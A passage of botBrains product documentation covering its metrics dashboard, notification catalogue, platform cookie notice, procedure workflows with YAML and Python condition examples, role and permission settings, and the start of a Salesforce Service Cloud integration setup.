active filters appear as removable chips below the search bar. Click any chip to remove it, or "Clear All" to reset. ## Working with Results Results display as message cards showing the message content, sender, timestamp, sentiment, and a link to the full conversation. Results load progressively as you scroll. Search results page showing multiple message cards with checkboxes and an Export button visible Select multiple messages via checkboxes to apply labels in bulk or export the selection. ## Exporting Click **Export** to download results as CSV (for spreadsheets) or JSON (for programmatic analysis). Exports respect all active filters, so you only get the messages that match your current search. ## Next Steps * [Conversations](/concepts/conversations) - View complete conversation threads * [Topics](/concepts/topics) - Understand automatic topic detection * [Improve Answers](/guides/improve-answers) - Use search findings to refine knowledge and guidance * [Labels](/concepts/labels) - Label conversations you find for follow-up tracking # Metrics Source: https://docs.botbrains.io/concepts/metrics Monitor performance, track trends, and measure the impact of your AI agent Your [metrics dashboard](https://platform.botbrains.io/~/metrics) turns raw conversation data into performance insights you can act on. The dashboard provides two views, **General** and **Ticketing**, that you switch between using the tabs at the top. Metrics dashboard showing the General view with key performance cards and a chart displaying conversation trends over time Analyze conversation quality, resolution rates, and customer satisfaction across chat channels. Measure AI involvement, autonomous resolution, and weekend coverage for ticketing workflows. ## Choosing the Right Metrics Chat and ticketing channels measure success differently because the role of human involvement differs. | Channel type | Primary metrics | Why | | ----------------------------------- | ------------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- | | **Chat** (Web, Slack, WhatsApp) | Resolution Rate, CSAT | Conversations resolve in one session-the AI either answers or it doesn't | | **Ticketing** (Zendesk, Salesforce) | Involvement Rate, Relative Autonomous Rate | Human finishing is normal and valuable. An AI draft that a human sends is a win, not a failure. Resolution Rate penalizes this collaboration. | ### Resolution Rate is imperfect Resolution Rate uses a second LLM to judge whether a conversation reached a satisfactory conclusion. This works well for most chat conversations, but the judge can misclassify in several ways: * **False positives.** The judge marks a conversation as resolved because the AI gave a confident-sounding answer, even though the information was wrong or incomplete. * **False negatives.** The user got what they needed but left without confirming, so the judge marks it unresolved. * **Multi-intent conversations.** The user asked three questions, the AI answered two well and missed one. The judge must make a binary call on a mixed outcome. For chat, Resolution Rate is still the best available signal. Pair it with CSAT to catch cases where the judge and the customer disagree. ### Why ticketing uses Involvement Rate instead For ticketing, these judgment errors matter less because you don't need them. Involvement Rate tracks whether the AI participated in a ticket at all, which the system knows deterministically, without a second LLM. A ticket either has AI-generated content or it doesn't. This makes Involvement Rate unambiguous, easy to reason about, and directly interpretable: every involved ticket represents work the AI took off a human agent's plate, and every autonomous ticket needed zero human time. See [Ticketing Performance](/concepts/ticketing-performance) for the full breakdown of involvement levels. ## Filters All metrics respect your filter selections. Use the **date range** (top right) to control the time window-trend indicators automatically compare to the equivalent previous period. Use the **channel** and **label** filters to segment by communication channel or conversation tags. Metrics dashboard filter controls showing the date range picker in the top right, with channel and label filter dropdowns visible above the main metrics cards ## Next Steps * [Chat Performance](/concepts/chat-performance) - Deep dive into conversation quality and satisfaction * [Ticketing Performance](/concepts/ticketing-performance) - Detailed analysis of AI involvement in ticketing * [Conversations](/concepts/conversations) - Review individual conversations to understand metric context * [Topics](/concepts/topics) - Segment metrics by topic to find specific improvement areas * [Improve Answers](/guides/improve-answers) - Use metric insights to refine knowledge and guidance # Notifications Source: https://docs.botbrains.io/concepts/notifications Which notifications botBrains sends, who receives them, how often, and how to manage your preferences. botBrains keeps your team informed about what matters, from new integrations going live to usage and billing changes, growth milestones, and team activity. Notifications are delivered **in‑app** and by **email**, and most categories can be tuned per user in your [notification settings](https://platform.botbrains.io/settings/notifications). ## Managing your preferences Each member of an organization controls their own notifications in the [notification settings](https://platform.botbrains.io/settings/notifications). The configurable toggles are grouped into six categories, and you can enable or disable **email** and **in‑app** independently for each: | Category | What it covers | | ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Team** | New members joining the organization | | **Integration** | Setup progress and first activity for Slack, WhatsApp, Zendesk, Salesforce, Voice, and the web widget | | **Milestone** | Message and user growth milestones | | **Billing** | Subscriptions, renewals, usage alerts, trials, and overages | | **Review** | Periodic account reviews | | **Product updates** | Announcements and broadcasts from botBrains | | **Transactional** | Security and account‑essential messages: MFA and verification codes, [data export](https://platform.botbrains.io/~/settings/data-export) download links, your personal welcome email, and pending invite reminders | The first six categories are **opt‑out**: everything is on by default, and turning a category off stops future notifications in that category. **Transactional** notifications are the exception. They carry security codes and account‑essential information, so they have **no toggle**, and botBrains always delivers them. Every category email (except transactional ones) also includes a one‑click **unsubscribe** link and a **Manage notifications** link that takes you straight to your preferences. ## Notification catalog Each notification is sent to a specific set of roles. Organization Owners and Organization Admins administer every project, so they receive the project‑scoped notifications too. See [Roles and permissions](/concepts/roles-permissions) for what each role can do. | Category | Notification | Who receives it | How often | | ------------------- | --------------------------------------- | -------------------------------------------------------- | --------------------------------------------------------------------------------------------------- | | **Integration** | 🎉 **Project ready** | Organization Owners, Organization Admins, Project Owners | Once, as soon as a new project finishes setting up | | | 🔌 **Integration live** | Organization Owners, Organization Admins, Project Owners | Once per integration, shortly after it's connected | | | 🚀 **Integration works, first message** | Organization Owners, Organization Admins, Project Owners | Once, on the first conversation through that integration | | | 💬 **First conversation** | Organization Owners, Organization Admins, Project Owners | Once, on the first conversation on a new website/domain | | **Milestone** | 🥳 **Message milestone** | Everyone in the organization | When total messages cross 100, 1K, 10K, 100K, or 1M | | | 🎊 **User milestone** | Everyone in the organization | When distinct users cross 10, 100, 1K, 10K, or 100K | | **Billing** | ✅ **Subscription created** | Organization Owners, Organization Admins | Once, when a subscription starts | | | 🔄 **Subscription updated** | Organization Owners, Organization Admins | When a subscription changes (at most once per day) | | | 😢 **Subscription cancelled** | Organization Owners, Organization Admins | When a subscription is cancelled | | | 📅 **Renewal reminder** | Organization Owners, Organization Admins | Once, about 30 days before renewal | | | 📈 **Usage alert** | Organization Owners, Organization Admins | When usage crosses 80%, 100%, 150%, 200%, 500%, or 1000% of an included volume | | | ⚠️ **Hard‑cap warning** | Organization Owners, Organization Admins | When usage reaches 80% of a configured hard limit (once per billing period) | | | ⏳ **Trial ending** | Organization Owners, Organization Admins | Once, 7 days before a trial ends | | | 🚀 **Trial ended** | Organization Owners, Organization Admins | Once, when a trial converts to an active plan | | | 🧾 **Overage report** | Organization Owners, Organization Admins | Once per billing cycle, if the previous period closed with overage | | **Team** | 👋 **User joined** | Organization Owners, Organization Admins | When a new member joins the organization | | **Review** | 🗓️ **Months in review** | Organization Owners, Organization Admins | Every 6 months | | **Product updates** | 📣 **Announcements** | Organization Owners, Organization Admins (by default) | Occasionally, for product news and broadcasts | | **Transactional** | 🔐 **MFA / verification code** | The person signing in | Each time a code is requested | | | 📦 **Data export ready** | The person who ran the export | Once per export, when the [download](https://platform.botbrains.io/~/settings/data-export) is ready | | | 🧠 **Welcome** | The new member | Once, when they join | | | ✉️ **Invite reminder** | The invitee | A reminder while an invitation is still pending | ## Weekly digest The **Weekly Digest** is a separate email summarizing the past week for each project: key metrics for your use case (Chat, Ticketing, or Voice), a daily‑message chart, and the week's trending topics. | | | | ------------------- | --------------------------------------------------------------------------------------------------------------- | | **Who receives it** | Organization Owners, Organization Admins, and project members with access to metrics, conversations, and topics | | **How often** | Weekly, on Monday mornings (UTC) | | **Channel** | Email only | The digest is skipped for any project that had no messages that week. It has its own toggle in each project's [notification settings](https://platform.botbrains.io/~/settings/notifications), independent of the organization‑level categories above, and each email includes a one‑click unsubscribe link. # Platform Cookie Notice Source: https://docs.botbrains.io/concepts/platform-cookie-notice Information about cookies and similar technologies used by the botBrains platform This is not the customer-facing [Frame cookie notice](/concepts/cookie-notice). This notice covers cookies for internal users of the platform. This Cookie Notice describes what kinds of cookies and similar technologies botBrains uses in connection with our [platform.botBrains.io](https://platform.botbrains.io) Service and how you can manage them. ## Types of cookies Cookies are small text files that online services may place on your device when you interact with them. Cookies can help services remember information about your visit, such as your language settings or when you logged in, which can improve your experience when you revisit a website. Services can also use them for other purposes, such as troubleshooting errors and better understanding how visitors use their services. We call cookies that we set first-party cookies. We also use third-party cookies-which are cookies from a domain different from the domain of the website you are visiting. Similar technologies (pixels, web beacons, or local storage) can also serve these purposes. We use "cookies" to refer to cookies and similar technologies. ## Necessary cookies Our Services require these cookies to operate. For example, they allow us to authenticate users or enable specific features within the Services, including for security purposes. | Source | Cookie name | Duration | Purpose | | ----------- | ------------- | -------- | ------------------- | | Clerk, Inc. | `_client_uat` | 1 year | User authentication | | Clerk, Inc. | `__session` | Session | User authentication | ## Analytics cookies | Source | Cookie name | Duration | Purpose | | ---------- | ------------------------------------------------------------ | -------- | ----------------- | | PostHog EU | `ph_phc_WMXb9il7bn6uCoNPeunrFsxPfJhOUWie5DFDfTzkiFA_posthog` | 1 year | Product analytics | ## Managing cookies Your web browser may allow you to manage your cookie preferences, including to delete and disable cookies. You can take a look at the help section of your web browser or follow the links below to understand your options. If you choose to disable cookies, some features of our Site or Services may not operate as intended. * [Chrome](https://support.google.com/chrome/answer/95647?hl=en) * [Internet Explorer](https://support.microsoft.com/en-us/help/17442/windows-internet-explorer-delete-manage-cookies) * [Safari](https://support.apple.com/guide/safari/manage-cookies-and-website-data-sfri11471/mac) * [Firefox](https://support.mozilla.org/en-US/kb/cookies-information-websites-store-on-your-computer) * [Opera](https://help.opera.com/en/latest/web-preferences/#cookies) Cookie settings are device-specific and browser-specific, so you will need to set cookie preferences for each device's browser. ## Additional information For additional information about cookies, including how to see what cookies websites have placed on your device and how to manage and delete them, please visit [www.allaboutcookies.org](https://www.allaboutcookies.org/) and [www.youronlinechoices.eu](https://www.youronlinechoices.eu/). You can send questions regarding privacy to [info@botbrains.io](mailto:info@botbrains.io). # Procedures Source: https://docs.botbrains.io/concepts/procedures Model complex processes with structured, step-by-step workflows your AI agent follows deterministically Procedures are currently in beta. Features and behavior may change. Procedures let you define structured workflows for complex customer interactions like refunds, returns, or account changes. Unlike [guidance](/concepts/guidance), which shapes general behavior, a procedure is a step-by-step process that your AI agent triggers and follows from start to finish. Think of procedures as digital Standard Operating Procedures (SOPs). You define the steps, branching logic, and guardrails. The AI agent handles the conversation within that structure. ## Why Use Procedures **Guidance** tells your AI agent *how to behave*. **Procedures** tell it *what to do*, step by step, with enforced rules. The key difference: procedures support **conditional branches** with language, code, and [audience](/concepts/audiences) rules. This means you can formally enforce that certain actions **only happen when conditions match**. Guarantee eligibility before processing a refund, verify identity before sharing account details, or restrict actions to specific customer segments. | | Guidance | Procedures | | --------------- | ----------------------------- | ------------------------------------------------- | | **Purpose** | Shape behavior and tone | Execute multi-step processes | | **Structure** | Free-form instructions | Ordered steps with control flow | | **Logic** | No branching | If/else conditions, code checks | | **Enforcement** | Agent interprets on its own | Deterministic, agent must follow the defined path | | **Use cases** | Tone, policies, general rules | Refunds, returns, verifications, escalations | ## How Procedures Work When a customer message matches a procedure's trigger, the AI agent activates it and follows the defined steps. The agent still communicates in a conversational way, but the procedure's structure governs its actions and decisions. Unlike rigid code-based workflows, the AI agent navigates procedures intelligently. It can **complete multiple steps in a single response** when it already has the information it needs, such as looking up an order and checking eligibility in one go. Equally, it can **stay on a single step** and re-ask the customer if they fail to provide the required information. The agent adapts to the conversation rather than advancing through a fixed sequence. You compose procedures from **blocks**. Each block represents a step or decision point. | Block | Description | | ----------------- | -------------------------------------------------------------------------------------------------------- | | **Instruction** | Natural language directions for what the agent should do or say. Reference tools with `@tool_name`. | | **Condition** | If/else if/else branching with three predicate types: language, code, and audience rules. | | **Escalate** | Hand the conversation to a human agent. | | **Run** | Call another procedure as a sub-procedure, then return to the current one. | | **Switch** | Transfer control to another procedure entirely (no return). | | **goto / Target** | Jump to a named section within the procedure. Targets are section markers, goto blocks navigate to them. | | **End** | Terminate the procedure and cleanly exit the current branch. | ### Condition Predicates Conditions support three predicate types for branching: * **Language** predicates let the AI evaluate natural language conditions (for example, "the customer purchased the item within 30 days") * **Code** predicates run deterministic checks using code (for example, date calculations, amount thresholds) * **Audience** predicates branch based on [audience](/concepts/audiences) segments (for example, customer tier, channel, location) Use audience and code predicates when you need **guaranteed enforcement**. Language predicates are flexible but rely on AI interpretation. Code and audience predicates are deterministic: they either match or they don't. ## Example: Refund Request ```yaml theme={null} name: "Process Refund" description: "Handle refund requests for orders" procedure: main: - "Ask the customer for their order number and look it up using @get_order_details." - "Confirm the order details with the customer." - decide: - if: from datetime import datetime, timezone, timezone; datetime.fromisoformat(results["get_order_details"]["return_deadline"]) >= datetime.now(timezone.utc) then: - "Process a refund to the original payment method using @create_refund." - else: - "Explain that the return deadline has passed. Offer store credit as an alternative." - - "Confirm the refund has been processed and provide the reference number." ``` The code predicate accesses the output of `@get_order_details` via `results["get_order_details"]` and compares the return deadline against the current date. This guarantees that refunds are **only processed when the return deadline hasn't passed**, enforced by code, not left to AI interpretation. ## Editors You can build procedures using two editors, and switch between them at any time: * **Visual Editor** is a block-based builder where you add steps using slash commands (`/`). Best for building and reviewing procedures visually. * **YAML Editor** is a text editor with syntax highlighting, validation, and autocomplete. Best for precise editing and bulk changes. Visual Editor showing a refund procedure with instruction steps and an IF/ELSE condition block In the visual editor, type `/` on an empty step to open the block menu. You can insert instructions, conditions, section headers, gotos, sub-procedure calls, escalations, switches, and end blocks. Slash command menu showing available block types: Instruction, Condition, Section header, Go to, Run procedure, Escalate, Switch, End Switch to the YAML editor for a text-based view with syntax highlighting and real-time validation. YAML Editor showing the procedure definition with syntax highlighting, line numbers, and a Valid indicator ## Versioning and Deployment Procedures support full version history: * Each save creates a new version * Compare any two versions side-by-side with a diff view * Restore previous versions when needed * Set a specific version as **live**. The AI agent only uses the live version in conversations Version history showing a side-by-side diff between two versions with added and removed lines highlighted ## Monitoring Track procedure execution in real time: * **Completion rate** measures how often procedures finish successfully * **Escalation rate** measures how often procedures escalate to a human * **Error rate** measures how often procedures encounter errors * **Execution trace** lets you view the exact path taken through a procedure in any conversation ## Common Use Cases Verify eligibility based on purchase date, item condition, and customer segment. Process through the appropriate refund method and confirm with the customer. Create a reusable sub-procedure that collects and verifies customer identity. Call it from any procedure that requires authentication before performing sensitive actions. Triage the issue type (damaged, missing, wrong item), collect evidence, check policies, and either resolve automatically or escalate to the appropriate team. Verify the customer's identity, confirm the requested change, check permissions based on account type, and process the update through the appropriate system. Look up the current plan, present available options based on the customer's eligibility, process upgrades/downgrades, and handle cancellation flows with retention steps. ## FAQ Use **procedures** when the process has multiple steps that must happen in order, you need conditional logic to enforce eligibility or business rules, different customer segments require different paths, or you want to guarantee specific actions are taken (or not taken). Use **guidance** when you're defining general behavior, tone, or policies, the instructions don't require branching or strict sequencing, or you want rules that apply broadly across conversations. Yes. Use the **Run** block to call a sub-procedure and return to the current one, or the **Switch** block to transfer control entirely. This lets you create reusable building blocks like identity verification that can be shared across workflows. Code and audience predicates are **deterministic**. They are evaluated programmatically and the result is guaranteed. Language predicates are evaluated by the AI and are more flexible but less strict. Use code or audience predicates for anything that must be enforced without exception. Code blocks run full Python code. The final statement **must be an expression** that evaluates to a truthy or falsy value, otherwise the block will error. You can access the output of previously called tools using `results["tool_name"]`, which always returns the result of the most recent invocation of that tool. ```python theme={null} from datetime import datetime, timezone deadline = datetime.fromisoformat(results["get_order_details"]["return_deadline"]) deadline >= datetime.now(timezone.utc) ``` If a code or audience predicate raises an error during evaluation (not a `False` result, but an actual runtime error), the conversation is **automatically escalated to a human agent**. This ensures customers are never stuck in a broken flow. **They are dramatically easier to write.** Procedures are authored in natural language with structured blocks. You describe what should happen at each step instead of wiring together nodes, handling edge cases in code, and maintaining state machines. What takes hours in a workflow builder takes minutes in a procedure. **They handle conversations intelligently.** Code-based workflows execute steps mechanically. They advance to the next node regardless of whether the customer actually provided what was asked, leading to awkward loops and dead ends. Procedures are AI-driven: the agent understands context, can skip steps it already has answers for, re-ask when a customer gives an incomplete response, and handle interruptions or topic changes gracefully. **You can still run exact code when you need it.** Use code predicates in condition blocks for deterministic checks, call [Unitools](/concepts/unitools) for custom logic, or use Unitools to trigger external automation platforms like n8n, Make.com, or Zapier. The procedure continues based on the output. You get natural language where it helps and precise code where it matters. ## Next Steps * [Guidance](/concepts/guidance) for defining general behavior rules * [Audiences](/concepts/audiences) for creating customer segments used in procedure conditions * [Actions](/concepts/actions) for setting up tools your procedures can call * [Testing](/guides/testing) for validating your procedures before deployment * [Simulations](/guides/simulations) for building repeatable test suites that cover each procedure branch # Roles and Permissions Source: https://docs.botbrains.io/concepts/roles-permissions Understand roles and invite team members to collaborate on AI agents | Scope | Role | Maps To | Level of Control | | ---------------- | ----------- | ------------------------------------ | --------------------------------------------------- | | **Organization** | Owner | COO / VP Ops / Director CX | Full control including billing, account termination | | | Admin | Head of CS / CX | Full control excluding billing, account termination | | | Billing | Finance Team | Access to billing, financial reporting | | | Member | Everyone | Minimal user access, default | | | Viewer | CEO, Executive, Auditor | Read-only full access | | **Project** | Owner | Project Lead / CX Lead | Full project control | | | Contributor | Support Manager / Engagement Manager | Operate, edit, redeploy, view metrics | | | Member | Support Agent / Analyst | Operate, label, triage | | | Viewer | Client / QA / Stakeholder | Read-only full access | # Understanding Roles botBrains uses a two-tier role system to give you precise control over who can access, view, and modify your AI agent projects. ## Two-Tier System Every team member has both an **organization role** and a **project role** for each project they access: **Organization Roles** - Baseline access across your entire account: * Apply to all projects by default * Control administrative capabilities like billing and team management * You can't customize these - use built-in roles only * **Best practice**: Assign most team members **Organization Member** **Project Roles** - Access to specific AI agents: * Only apply within a single project * You can customize these with granular permissions * Enable per-project access control **Permission Priority**: A user's effective permissions are the **union** of their organization role and project role. If either role grants a permission, the user has that access. Assign most users **Organization Member** (minimal permissions) and grant specific access through project roles. This ensures project-level controls actually restrict access. ## Organization Roles | Role | Typical Titles | What They Can Do | What They Can't Do | | ------------------------------------ | ---------------------------------- | ----------------------------------------------------------------------------- | ------------------------------------------------------------ | | **Organization Owner** (`o_owner`) | COO, VP Operations, Director of CX | Full access to all projects, billing, team management, create/delete projects | Transfer ownership (contact support), leave the organization | | **Organization Admin** (`o_admin`) | Head of CS/CX, Technical Lead | Full access to all projects, create projects, manage integrations, view team | Modify billing, remove team members, change org settings | | **Billing** (`o_billing`) | Finance Team, Controller | View billing, usage tracking, invoices, read-only project info | Modify projects, access conversations, manage team | | **Organization Member** (`o_member`) | Most team members (90%+) | Access assigned projects, view profile | See unassigned projects, create projects, billing access | | **Organization Viewer** (`o_viewer`) | CEO, Executive, Auditor | Read-only visibility across organization | Change any settings or data | Organization Owner and Admin have unrestricted access to everything. Only assign these roles to trusted individuals who need complete administrative control. ## Project Roles | Role | Typical Titles | What They Can Do | What They Can't Do | | ----------------------------------------- | -------------------------------------- | -------------------------------------------------------------------------- | ------------------------------------------------- | | **Project Owner** (`p_owner`) | Engagement Manager, CX Program Manager | Complete project control, manage team, create custom roles, delete project | - | | **Project Contributor** (`p_contributor`) | Support Manager, Senior CSM | Edit knowledge, debug, run evaluations, redeploy, configure integrations | Delete project, create custom roles | | **Project Member** (`p_member`) | Support Agent, Operations Analyst | View conversations, label, triage, update knowledge sources | Modify deployments, delete knowledge, manage team | | **Project Viewer** (`p_viewer`) | Executive, Account Executive, Client | Read-only access to performance, transcripts, reports | Modify any project settings or data | ## Custom Roles Create custom roles with precise permission combinations tailored to your team's workflow. **Why create custom roles:** * QA teams who can label conversations but not edit knowledge * Contractor access with limited permissions * Compliance requirements separating conversation access from configuration * Development workflows with different permissions per environment **How to create:** 1. Go to **Project → Settings → Team → Roles** tab 2. Click **Add Role** 3. Enter name and description 4. Select specific permissions grouped by functional area 5. Save and assign to team members **Common custom role examples:** **QA Reviewer** - Review conversations and apply labels without editing * Permissions: conversation:read, conversation:write, label:\*, metric:read, topic:read **Knowledge Editor** - Maintain knowledge base without deployment access * Permissions: knowledge:*, conversation:read, table:*, file:read **Analyst** - View analytics and export data for reporting * Permissions: metric:read, topic:read, conversation:read, export:read, label:read *** # Which Role Should I Choose Organizations have one or more projects. Permissions are defined at organization level and project level. Organizational roles and permissions are automatically inherited in projects. For explicit project-level control, assign **Organization Member** and then grant specific project roles. ## Organization-Level Roles | Role | Typical Titles in a Service Organization | Functional Analogy | | ------------------------------------ | --------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Organization Owner** (`o_owner`) | **COO**, **VP Operations**, **Director of Customer Experience (CX)** | Senior operations leader overseeing all company-wide systems, billing, compliance, and account-level management. Owns contracts, organization settings, and access governance. | | **Organization Admin** (`o_admin`) | **Head of Customer Success (CS)**, **Head of Customer Experience (CX)** | Manages customer delivery teams and organization resources. Full operational control except for billing and account termination. | | **Billing** (`o_billing`) | **Finance Team**, **Controller**, **Procurement Lead** | Handles invoices, usage tracking, renewals, and cost approvals. Limited to financial visibility and read-only project information. | | **Organization Member** (`o_member`) | **Everyone with limited access to one or more projects**. For example: **CSMs**, **Project Managers**, **Support Managers**, **Agents** | Standard employee or leader working across multiple projects. Can read and manage project memberships but not change billing or org policies. | | **Organization Viewer** (`o_viewer`) | **Executive Leadership**, **CEO**, **VP Strategy**, **External Auditor** | Read-only visibility across the organization for reporting, reviews, or oversight. Can't change settings or data. | ## Project-Level Roles | Role | Typical Titles in a Service Organization | Functional Analogy | | ----------------------------------------- | ------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------- | | **Project Owner** (`p_owner`) | **Engagement Manager**, **Service Delivery Lead**, **CX Program Manager** | End-to-end accountable for a project's success. Can deploy models, manage integrations, and assign roles within the project. | | **Project Contributor** (`p_contributor`) | **Support Manager**, **Project Lead**, **Senior CSM / CX Lead** | Operates and improves the deployed AI systems. Can edit knowledge, debug, run evaluations, and redeploy-trusted to change live behavior. | | **Project Member** (`p_member`) | **Support Agent**, **CX Associate**, **Operations Analyst, Quality Assurance** | Works in day-to-day operations: handles conversations, labeling, data triage. Can't modify knowledge or deploy models. | | **Project Viewer** (`p_viewer`) | **Executives**, **Account Executive**, **Client** | Read-only access to performance dashboards, transcripts, and reports. For oversight, validation, or executive review. | ## Key Principles * Every user has one organization role and up to one role per project * Organization roles use the `o_` prefix, project roles use `p_` (built-in) or `pc_` (custom) * Every user can have at max 50 project roles * Custom roles are always project scoped * If any role allows an action, the user can perform it (union of permissions) * You can't edit your own role * By default, users are organization members with **no permissions** - admins must explicitly grant project access *** # Inviting Team Members ## How to Invite Colleagues ### Organization-Level Invitations Invite people to join your botBrains organization: 1. Go to **Organization → Settings → Team** 2. Click the **Invitations** tab 3. Click **Invite User** button 4. Enter email addresses (press space or enter after each) 5. Select organization role: **Owner**, **Admin**, **Billing**, **Member**, or **Viewer** 6. Click **Send Invitations** Invite User dialog showing email input field and organization role selector dropdown **What happens next:** * Recipients receive email with join link * They create an account or sign in * Upon accepting, they join with assigned role * New members appear in Members tab You can paste multiple email addresses at once. Use **Organization Member** as the default for 90% of invitees. ### Project-Level Invitations Invite people to join a specific project: 1. Go to **Project → Settings → Team** 2. Click the **Invitations** tab 3. Click **Invite User** 4. Enter email addresses 5. Select project role: **Owner**, **Contributor**, **Member**, **Viewer**, or custom role 6. Click **Send Invitations** **Inviting new people directly to projects:** When you invite someone who isn't an organization member yet, botBrains automatically creates both organization and project invitations in a single email. ### Managing Pending Invitations Track invitations in the **Invitations** tab: **View**: Email, assigned role, sent date, expiration, status **Revoke**: Click trash icon to cancel before acceptance **Resend**: Available if invitation wasn't received Once accepted, invitations cannot be "un-accepted" - you must remove the member from the organization or project. ## Managing Team Access ### Changing Roles **Change organization role:** 1. Go to **Organization → Settings → Team → Members** 2. Find the member 3. Click role dropdown 4. Select new role - takes effect immediately **Change project role:** 1. Go to **Project → Settings → Team → Members** 2. Find the member 3. Click **Project Role** dropdown 4. Select new role or "No Project Role" to remove access ### Permission Conflict Warnings botBrains warns you when organization roles override project restrictions: Permission conflict warning dialog showing user Sarah Chen retains 12 permissions through Organization Admin role with list of specific permissions **Your options:** 1. Proceed anyway (user keeps broad access) 2. Cancel to reconsider 3. Demote organization role first, then assign restrictive project role ### Removing Team Members **Remove from organization** (removes from all projects): 1. Go to **Organization → Settings → Team → Members** 2. Click trash icon in Actions column 3. Confirm removal **Result**: Immediate access loss to all projects, API keys revoked **Remove from specific project** (keep in organization): 1. Go to **Project → Settings → Team → Members** 2. Select **"No Project Role"** from dropdown **Result**: Loses access to this project only, keeps other projects Organization removal is immediate and irreversible. The user cannot access botBrains or recover their settings. ## Common Team Setups ### Small Team (2-5 people) **Setup:** * Assign Organization Member to everyone * Give Project Contributor to team leads * Give Project Member to other contributors * Use built-in roles only **Why it works:** Simple structure with minimal overhead. ### Department-Based Teams **Setup:** * Separate projects per department (Support Bot, Marketing Bot, Sales Bot) * Organization Member for all employees * Project Owner for department leads * Project Member for department team members * Executives get Organization Viewer to access all projects **Why it works:** Clear separation of responsibilities. Marketing can't break Support Bot. ### Development, Staging, Production **Setup:** * Three projects (Dev, Staging, Prod) * Developers: Project Contributor in Dev, Project Member in Staging, Project Viewer in Prod * QA team: Project Contributor in Staging, Project Viewer in Dev/Prod * Support team: Project Viewer in all three * Senior engineers: Project Contributor in all three **Why it works:** Prevents accidental production changes while enabling testing. ### External Consultants **Setup:** * Create custom "Consultant" role with limited read access * Organization Member role * Remove export and API key permissions **Why it works:** Consultants can review without accessing sensitive data or making unauthorized changes. ### Multi-Brand Organizations **Setup:** * Separate projects per brand * Organization Member for all team members * Brand-specific Project Owners per brand * Analysts get Project Viewer across brands **Why it works:** Complete data isolation between brands. Brand managers control their AI independently. ## Best Practice ### Principle of Least Privilege **Good practice:** * Start with Organization Member for all users * Grant project-specific roles based on actual responsibilities * Use custom roles for specialized needs * Regularly audit and reduce excessive permissions **Bad practice:** * Making everyone Organization Admin "just to be safe" * Giving Project Owner to anyone who asks * Using broad permissions when narrow ones would work ## Frequently Asked Questions **Possible causes:** 1. Invitation not yet accepted - check Invitations tab 2. User assigned "No Project Role" - verify role assignment 3. User signed in with different email - check email match 4. Cache issue - have user sign out and back in **Solution:** 1. Go to **Project → Settings → Team → Members** 2. Search for user by email 3. If not found, check Invitations tab 4. If found with "No Project Role", assign appropriate role 5. Have user refresh browser **Cause:** User has permissive organization role that overrides project restrictions **Solution:** 1. Go to **Organization → Settings → Team** 2. Check their organization role 3. If Organization Admin, change to Organization Member 4. Verify project role restrictions now work **Possible causes:** 1. Only Organization Owners and Admins can remove members 2. Trying to remove yourself 3. Trying to remove the sole Organization Owner **Solution:** * Ask an Organization Owner or Admin to perform removal * Organization Owner cannot be removed * Have another admin remove you if needed **Solution:** 1. Go to **Settings → Team → Invitations** 2. Find expired invitation 3. Revoke expired invitation 4. Send new invitation with same role **Before acceptance:** 1. Revoke existing invitation 2. Send new invitation with correct role **After acceptance:** 1. Go to **Settings → Team → Members** 2. Find the user 3. Change to correct role using dropdown ## Next Steps Now that you understand roles and permissions: * [API Keys](/concepts/api-keys) - Generate and manage programmatic access * [Triggers](/concepts/triggers) - Automate actions based on events * [Billing](/concepts/billing) - Monitor usage and manage your subscription # Salesforce Integration Source: https://docs.botbrains.io/concepts/salesforce-integration Connect botBrains with your Salesforce Service Cloud The botBrains Salesforce integration enables AI-powered case handling in Service Cloud. botBrains acts as a dedicated Salesforce user, so cases can be assigned to AI exactly like they are assigned to human agents. ## How botBrains Works in Salesforce * botBrains runs as a dedicated integration user in your Salesforce org. * When a case is assigned to that user, botBrains processes it. * botBrains can add internal comments, reply to customers, update case fields, and escalate to a human. ### Integration Modes | Mode | Behavior | | -------------- | ------------------------------------------------------- | | Sync-only | Sync data and knowledge context only. No case replies. | | Private mode | Adds internal/private comments (agent assist workflow). | | Automated mode | Sends customer-facing replies directly. | Case field updates can be enabled independently of reply mode and are recommended when customer-facing replies are enabled. In all modes, the AI can escalate cases to a human. **Private mode caps involvement at Private.** Private-mode replies are internal comments, never customer-visible, so these cases are classified as [Private involvement](/concepts/ticketing-performance#why-involvement-rate-not-resolution-rate)-never Autonomous or Public, which both require a customer-facing AI reply. Enabling private mode lowers your Autonomous Rate by design, not because the AI performs worse. Involvement is recomputed on every reply, so it also stays provisional until a case closes. ## Prerequisites * Salesforce org with API access enabled * Salesforce Service Cloud enabled * Admin access in Salesforce Setup * A botBrains project where you want to connect Salesforce ## Salesforce Setup ### 1. Enable On-Demand Service and Email-to-Case Activate Email-to-Case and configure a botBrains external email address (example: `bb.salesforce.dev+xyz@gmail.com`) with forwarding as needed. ### 2. Create the Threading Token Apex API Create a new Apex class in **Developer Console > Apex Class > New** named `ThreadingTokenApi`: ```apex theme={null} @RestResource(urlMapping='/threading-token') global with sharing class ThreadingTokenApi { @HttpGet global static String getToken() { String caseId = RestContext.request.params.get('caseId'); if (String.isBlank(caseId)) { RestContext.response.statusCode = 400; return 'Missing caseId'; } return EmailMessages.getFormattedThreadingToken((Id)caseId); } } ``` ### 3. Create the `botBrainsState` Case Field Create a custom field on the `Case` object with the following settings: | Setting | Value | | ------------- | ------------------- | | Field Label | `botBrainsState` | | API Name | `botBrainsState__c` | | Type | `Text` | | Length | `255` | | Default Value | `not-involved` | This field tracks botBrains involvement and can be used in automatic case assignment rules. Supported values: * `escalated` * `active` * `not-involved` ### 4. Create a botBrains Permission Set Create a permission set in: `https://{org_id}.my.salesforce-setup.com/lightning/setup/PermSets/home` Grant the following permissions. System permissions: | Permission | Reason | | --------------------- | ----------------------------------------------------------------------- | | API Enabled | API access | | View All Data | Required for Change Data Capture updates (wakes up the botBrains agent) | | Chatter Internal User | Internal case comments | | Send Email | Send case-related emails | Object settings: | Object | Permission | Reason | | ------- | ------------------------------------------------ | ------------------------ | | Case | Edit, View All Fields, Edit Access to All Fields | Work on and update cases | | Contact | View All Fields | Read contact details | Also configure: * **Apex Class Access**: add `ThreadingTokenApi` * **Organization-Wide Email Address Access**: allow required sender addresses ### 5. Create the Integration User Create a dedicated user (for example, name `botBrains`, unique email like 